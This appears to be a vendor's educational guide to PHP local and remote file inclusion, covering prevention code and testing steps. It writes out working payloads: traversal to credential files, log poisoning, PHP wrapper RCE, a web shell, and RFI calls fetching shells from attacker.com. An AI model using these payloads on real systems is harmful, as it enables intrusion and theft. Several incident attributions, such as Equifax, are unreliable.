Documentation

File Inclusion (LFI/RFI): The Dynamic Loading Attack

CRITICAL SEVERITY RCE FILE ACCESS

File Inclusion Illustration

File Inclusion vulnerabilities occur when applications dynamically include files based on user input without proper validation, allowing attackers to include malicious local or remote files that execute code on the server.

In One Sentence: Tricking a website into loading and running attacker-controlled files, either from the server itself (LFI) or from external sources (RFI).

Critical Vulnerability

Danger Level: CRITICAL - Can lead to complete server compromise and Remote Code Execution (RCE). File inclusion remains a top vulnerability in PHP applications and legacy systems.


What is File Inclusion?

In Simple Terms

Imagine a library where you can request books by number. You ask for "Book #42" and the librarian retrieves it. But what if you could request:

And the librarian blindly retrieves and reads them aloud to everyone!

In the digital world:

Web applications often use dynamic file inclusion to load different pages, templates, or modules based on user requests. If not properly secured, attackers can manipulate these requests to include files they shouldn't have access to.

Two Types

Including existing files on the server

  • Reading configuration files, source code, system files
  • Example: Including /etc/passwd to see user accounts

Including files from external servers

  • Loading attacker's malicious code directly
  • Example: Including http://attacker.com/shell.php to gain remote shell

Real-World Analogy: The Smart Restaurant Menu

Scenario: A restaurant with a digital menu system.

Customer: "Show me page 3 of the menu"
System includes: /menus/page3.html
Display: Desserts menu ✓
Customer: "Show me ../../kitchen/secret-recipes.txt"
System includes: /menus/../../kitchen/secret-recipes.txt
Display: Secret recipes revealed! ✗
Customer: "Show me http://attacker.com/poison.html"
System includes: http://attacker.com/poison.html
Display: Attacker's malicious content with code that steals credit cards! ✗

The Problem

The menu system blindly includes whatever file path the customer specifies without checking if it's actually a menu file.


How File Inclusion Attacks Work

Local File Inclusion (LFI)

FILE DISCLOSURE

Vulnerable PHP Application:

Vulnerable Code
php<?php
// Vulnerable code - common in old PHP applications
$page = $_GET['page'];
include('/var/www/pages/' . $page);
?>
Normal Usage
URL: http://website.com/index.php?page=about.php
Includes: /var/www/pages/about.php ✓
LFI Attack
URL: http://website.com/index.php?page=../../../../etc/passwd
Includes: /var/www/pages/../../../../etc/passwd
Resolves to: /etc/passwd
Result: Displays system password file! ✗

What attackers can read:

bash/var/www/config.php
/var/www/.env
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf

Remote File Inclusion (RFI)

REMOTE CODE EXECUTION

Vulnerable PHP Configuration:

Vulnerable Code
php<?php
// Vulnerable code
$module = $_GET['module'];
include($module . '.php');
?>
RFI Attack
URL: http://website.com/index.php?module=http://attacker.com/shell

Server executes:
include('http://attacker.com/shell.php');

Attacker's shell.php:
<?php system($_GET['cmd']); ?>

Result: Attacker can run any system command! ✗

Attack Flow:

Attacker hosts malicious file: http://evil.com/backdoor.php

Attacker sends: ?page=http://evil.com/backdoor.php

Victim server includes remote file

Backdoor.php executes on victim server

Attacker has remote code execution!


Types of File Inclusion Attacks

1. Basic LFI

PATH TRAVERSAL

Simple path traversal to access local files:

# Access system files
?page=../../../../etc/passwd
?file=../../../../../../etc/shadow
?include=../../../../var/www/config.php

# Access log files
?page=../../../../var/log/apache/access.log

2. LFI with Null Byte Injection

PHP < 5.3.4

Bypassing file extension checks:

Vulnerable Code
php// Vulnerable code forces .php extension
$file = $_GET['file'] . '.php';
include($file);

// Normal: file=about → includes about.php ✓
Attack with Null Byte
?file=../../../../etc/passwd%00

# Null byte (%00) terminates string
# Result: includes /etc/passwd (ignores .php) ✗

3. LFI to RCE via Log Poisoning

CODE EXECUTION

Injecting PHP code into log files, then including them:

bash# Send HTTP request with PHP code in User-Agent
curl http://victim.com -A "<?php system($_GET['cmd']); ?>"

# Access log now contains:
192.168.1.100 - - [date] "GET / HTTP/1.1" 200 - "<?php system($_GET['cmd']); ?>"
?page=../../../../var/log/apache2/access.log&cmd=whoami

Result: Log file included, PHP code executes, runs whoami command!

Other Poisonable Files:

bash/var/log/mail.log
# Inject via email subject or body

4. LFI via PHP Wrappers

BYPASS TECHNIQUE

Using PHP's built-in wrappers to bypass restrictions:

Read source code without executing PHP:

?page=php://filter/convert.base64-encode/resource=config.php

# Server returns base64-encoded source code
# Decode to see database passwords and secrets!

RCE via POST body:

POST /index.php?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system('whoami'); ?>

# Server executes POSTed PHP code!

RCE via data URI:

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=whoami

# Base64 decodes to: <?php system($_GET[c]); ?>
# Executes: whoami

Direct command execution:

# If expect extension enabled
?page=expect://whoami

# Directly executes system command

5. Basic RFI

REMOTE INCLUSION

Including remote files directly:

?page=http://attacker.com/shell.php
?module=https://evil.com/backdoor.txt
?include=ftp://attacker.com/exploit.php

Attacker's shell.php:

php<?php
// Simple web shell
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Usage:

?page=http://attacker.com/shell.php&cmd=ls
?page=http://attacker.com/shell.php&cmd=cat /etc/passwd
?page=http://attacker.com/shell.php&cmd=wget http://attacker.com/rootkit.sh

6. RFI with Bypass Techniques

FILTER EVASION

Bypassing basic filters:

php// Filter blocks http://
if (strpos($_GET['page'], 'http://') !== false) {
    die('Blocked!');
}

// Bypass techniques:
?page=htTp://attacker.com/shell.php  (case variation)
?page=http:\\\\attacker.com/shell.php  (backslashes)
?page=//attacker.com/shell.php  (protocol-relative URL)
?page=http://attacker.com/shell.txt  (.txt extension - server executes anyway)

Real-World Examples

Example 1: WordPress Core LFI (CVE-2015-5622)

MILLIONS AFFECTED

Attack: Local file inclusion in wp-admin

Impact:

  • Millions of WordPress sites affected
  • Configuration file disclosure
  • Database credentials exposed
Vulnerable Code
php// Simplified vulnerable code
$file = $_GET['file'];
include(ABSPATH . '/wp-admin/' . $file);
Attack
/wp-admin/admin.php?file=../wp-config.php

Result: Displayed wp-config.php containing database credentials

Example 2: Drupal RFI (2008)

MASS COMPROMISE

Attack: Remote file inclusion in module system

Impact:

  • Thousands of Drupal sites compromised
  • Mass defacement campaigns
  • Botnet recruitment

Attack:

/index.php?module=http://attacker.com/backdoor

Example 3: PHPMailer LFI (CVE-2017-5223)

WIDESPREAD

Attack: LFI leading to RCE

Impact:

  • Used by millions of PHP applications
  • Complete server compromise possible

Example 4: Apache Struts 2 RFI

EQUIFAX BREACH

Attack: Remote code execution via file inclusion

Impact:

  • Equifax breach (143 million records)
  • Multiple critical vulnerabilities over years

Prevention and Mitigation

1. Avoid Dynamic File Inclusion

BEST PRACTICE

The best defense: Don't use user input in file paths at all.

❌ DON'T DO THIS
php<?php
// VULNERABLE
$page = $_GET['page'];
include($page . '.php');
?>
✅ DO THIS
php<?php
// SECURE - Whitelist approach
$allowed_pages = [
    'home' => 'home.php',
    'about' => 'about.php',
    'contact' => 'contact.php'
];

$page = $_GET['page'] ?? 'home';

if (!array_key_exists($page, $allowed_pages)) {
    die('Invalid page');
}

include($allowed_pages[$page]);
?>

2. Input Validation (Whitelist)

RECOMMENDED

Only allow expected values:

php<?php
// Whitelist of allowed files
$allowed_files = ['home', 'about', 'contact', 'products'];

$file = $_GET['file'] ?? 'home';

// Validate against whitelist
if (!in_array($file, $allowed_files, true)) {
    http_response_code(400);
    die('Invalid file');
}

// Safe to include
include(__DIR__ . '/pages/' . $file . '.php');
?>

3. Path Sanitization

DEFENSE IN DEPTH

If you must use filenames, sanitize them rigorously:

php<?php
function sanitize_filename($filename) {
    // Remove null bytes
    $filename = str_replace(chr(0), '', $filename);

    // Remove path traversal sequences
    $filename = str_replace(['../', '..\\'], '', $filename);

    // Allow only alphanumeric, dash, underscore
    $filename = preg_replace('/[^a-zA-Z0-9_-]/', '', $filename);

    return $filename;
}

$file = sanitize_filename($_GET['file']);

// Verify file exists in allowed directory
$base_dir = '/var/www/pages/';
$full_path = realpath($base_dir . $file . '.php');

// Check if resolved path starts with base directory
if ($full_path === false || strpos($full_path, realpath($base_dir)) !== 0) {
    die('Invalid file path');
}

// Check file exists
if (!file_exists($full_path)) {
    die('File not found');
}

include($full_path);
?>

4. Disable Dangerous PHP Settings

CONFIGURATION

PHP configuration (php.ini):

ini# Disable remote file inclusion
allow_url_include = Off
allow_url_fopen = Off

# Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Why This Helps

php// With allow_url_include = Off
include('http://attacker.com/shell.php');  // Blocked! ✓

// With allow_url_fopen = Off
file_get_contents('http://attacker.com/data.txt');  // Blocked! ✓

5. Principle of Least Privilege

INFRASTRUCTURE

Limit file system permissions:

bash# Web server should not have read access to sensitive files
sudo chmod 600 /etc/shadow
sudo chmod 600 /var/www/config.php
sudo chmod 700 /root/.ssh/

# Web files should be owned by specific user, not root
sudo chown www-data:www-data /var/www/html -R
sudo chmod 644 /var/www/html/*.php

Testing for File Inclusion

Manual Testing

TESTING GUIDE

bash# Test various depths
curl "http://target.com/page?file=../../../../etc/passwd"
curl "http://target.com/page?file=../../../../../../etc/passwd"

# Common target files
?file=../../../../etc/passwd
?file=../../../../var/www/html/config.php
?file=../../../../var/log/apache2/access.log
bash# For older PHP versions
curl "http://target.com/page?file=../../../../etc/passwd%00"
curl "http://target.com/page?file=../../../../etc/passwd%00.jpg"
bash# Filter wrapper
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# Input wrapper
curl -X POST "http://target.com/page?file=php://input" \
     -d "<?php system('whoami'); ?>"

# Data wrapper
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="
bash# Test if allow_url_include is enabled
curl "http://target.com/page?file=http://attacker.com/test.txt"

# Protocol variations
curl "http://target.com/page?file=https://attacker.com/shell.php"
curl "http://target.com/page?file=ftp://attacker.com/backdoor.php"

Automated Tools

bash# LFI fuzzing
ffuf -w /path/to/lfi-payloads.txt \
     -u "http://target.com/page?file=FUZZ" \
     -fc 404

Summary: What You Need to Remember

File Inclusion vulnerabilities allow attackers to include malicious files - either local files from the server (LFI) or remote files from attacker-controlled servers (RFI) - leading to information disclosure or remote code execution.

The Simple Version:

  • What it is: Tricking the application into loading unauthorized files by manipulating file path parameters
  • Why it's dangerous: Can read sensitive files, expose source code, or execute arbitrary code (RCE)
  • How to prevent it: Use whitelists, never trust user input in file paths, disable remote inclusion

Real-World Impact:

  • WordPress: Millions affected by LFI vulnerabilities
  • Equifax: RFI in Apache Struts led to 143M record breach
  • PHPMailer: Widespread LFI affecting millions of sites

Key Distinction:

  • LFI: Reading existing server files (configs, logs, source code)
  • RFI: Loading attacker's remote files (backdoors, shells)

Quick Protection Checklist

For Website Owners & Developers:

DO Use whitelists - map user input to predefined safe file paths DO Validate and sanitize all file parameters DO Disable remote inclusion (allow_url_include = Off) DO Use realpath() validation to verify paths stay within allowed directories DO Remove path traversal sequences (../, .., null bytes) DO Apply least privilege - limit web server file system access DO Use framework functions that handle file inclusion securely

DON'T Use user input directly in include/require statements DON'T Trust user-supplied file paths without validation DON'T Allow remote file inclusion in production DON'T Concatenate user input with file paths DON'T Return detailed error messages that reveal file paths

For Security Testers:

TIP Test for path traversal with various depths (../, ../../, etc.) TIP Try PHP wrappers (php://filter, php://input, data://) TIP Attempt null byte injection on older systems TIP Test log poisoning for LFI to RCE escalation TIP Check if allow_url_include is enabled for RFI


Additional Resources

Learn More

Layerd AI Cloud WAF prevents file inclusion attacks by detecting path traversal patterns, blocking PHP wrappers, and preventing remote file loading attempts. Learn more →


Last updated: November 2025